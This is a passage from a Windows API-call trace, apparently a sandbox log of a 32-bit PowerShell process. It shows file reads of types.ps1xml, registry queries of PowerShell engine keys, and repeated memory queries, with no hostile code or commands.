lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.664] GetLastError () returned 0x0 [0051.664] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.664] GetLastError () returned 0x0 [0051.664] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.664] GetLastError () returned 0x0 [0051.664] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.664] GetLastError () returned 0x0 [0051.664] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.664] GetLastError () returned 0x0 [0051.664] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.664] GetLastError () returned 0x0 [0051.665] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.665] GetLastError () returned 0x0 [0051.665] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.665] GetLastError () returned 0x0 [0051.666] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.666] GetLastError () returned 0x0 [0051.666] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.666] GetLastError () returned 0x0 [0051.666] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.666] GetLastError () returned 0x0 [0051.667] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.667] GetLastError () returned 0x0 [0051.667] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.667] GetLastError () returned 0x0 [0051.667] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.667] GetLastError () returned 0x0 [0051.667] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.667] GetLastError () returned 0x0 [0051.667] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.667] GetLastError () returned 0x0 [0051.667] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.667] GetLastError () returned 0x0 [0051.667] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.667] GetLastError () returned 0x0 [0051.668] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.668] GetLastError () returned 0x0 [0051.668] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.668] GetLastError () returned 0x0 [0051.668] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.668] GetLastError () returned 0x0 [0051.668] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.668] GetLastError () returned 0x0 [0051.668] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.668] GetLastError () returned 0x0 [0051.668] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.668] GetLastError () returned 0x0 [0051.671] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.671] GetLastError () returned 0x0 [0051.671] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.671] GetLastError () returned 0x0 [0051.672] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.672] GetLastError () returned 0x0 [0051.672] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.672] GetLastError () returned 0x0 [0051.672] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.672] GetLastError () returned 0x0 [0051.672] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.672] GetLastError () returned 0x0 [0051.672] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.672] GetLastError () returned 0x0 [0051.672] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.672] GetLastError () returned 0x0 [0051.672] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1b4, lpOverlapped=0x0) returned 1 [0051.672] GetLastError () returned 0x0 [0051.672] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x0, lpOverlapped=0x0) returned 1 [0051.673] GetLastError () returned 0x0 [0051.673] CloseHandle (hObject=0x344) returned 1 [0051.673] GetLastError () returned 0x0 [0051.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0051.673] GetLastError () returned 0x0 [0051.673] SetErrorMode (uMode=0x1) returned 0x1 [0051.673] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2b21670 | out: lpFileInformation=0x2b21670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0051.673] GetLastError () returned 0x0 [0051.673] SetErrorMode (uMode=0x1) returned 0x1 [0051.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0051.673] GetLastError () returned 0x0 [0051.673] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e478 | out: phkResult=0x27e478*=0x344) returned 0x0 [0051.673] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e4c0, lpData=0x0, lpcbData=0x27e4bc*=0x0 | out: lpType=0x27e4c0*=0x1, lpData=0x0, lpcbData=0x27e4bc*=0x56) returned 0x0 [0051.673] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e4c0, lpData=0x2d1db8, lpcbData=0x27e4bc*=0x56 | out: lpType=0x27e4c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e4bc*=0x56) returned 0x0 [0051.673] RegCloseKey (hKey=0x344) returned 0x0 [0051.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0051.674] GetLastError () returned 0x0 [0051.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27dfb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0051.674] GetLastError () returned 0x0 [0051.876] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.921] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.927] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.927] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.927] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.927] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.929] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.931] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.939] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.940] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.940] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.940] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.940] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.941] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.941] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.941] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.944] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.946] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.946] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.947] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.947] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.948] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.949] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.949] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.949] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.949] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.950] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.950] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.950] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.950] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.952] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.954] VirtualQuery (in: lpAddress=0x27d3b8, lpBuffer=0x27e3b8, dwLength=0x1c | out: lpBuffer=0x27e3b8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.954] VirtualQuery (in: lpAddress=0x27d3b8, lpBuffer=0x27e3b8, dwLength=0x1c | out: lpBuffer=0x27e3b8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.955] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.956] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.070] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.070] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.070] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.071] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.072] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.072] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.073] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.073] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.074] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.074] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.075] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.077] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.080] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e53c | out: phkResult=0x27e53c*=0x340) returned 0x0 [0052.080] RegQueryValueExW (in: hKey=0x340, lpValueName="path", lpReserved=0x0, lpType=0x27e5a4, lpData=0x0, lpcbData=0x27e5a0*=0x0 | out: lpType=0x27e5a4*=0x1, lpData=0x0, lpcbData=0x27e5a0*=0x74) returned 0x0 [0052.080] RegQueryValueExW (in: hKey=0x340, lpValueName="path", lpReserved=0x0, lpType=0x27e584, lpData=0x0, lpcbData=0x27e580*=0x0 | out: lpType=0x27e584*=0x1, lpData=0x0, lpcbData=0x27e580*=0x74) returned 0x0 [0052.080] RegQueryValueExW (in: 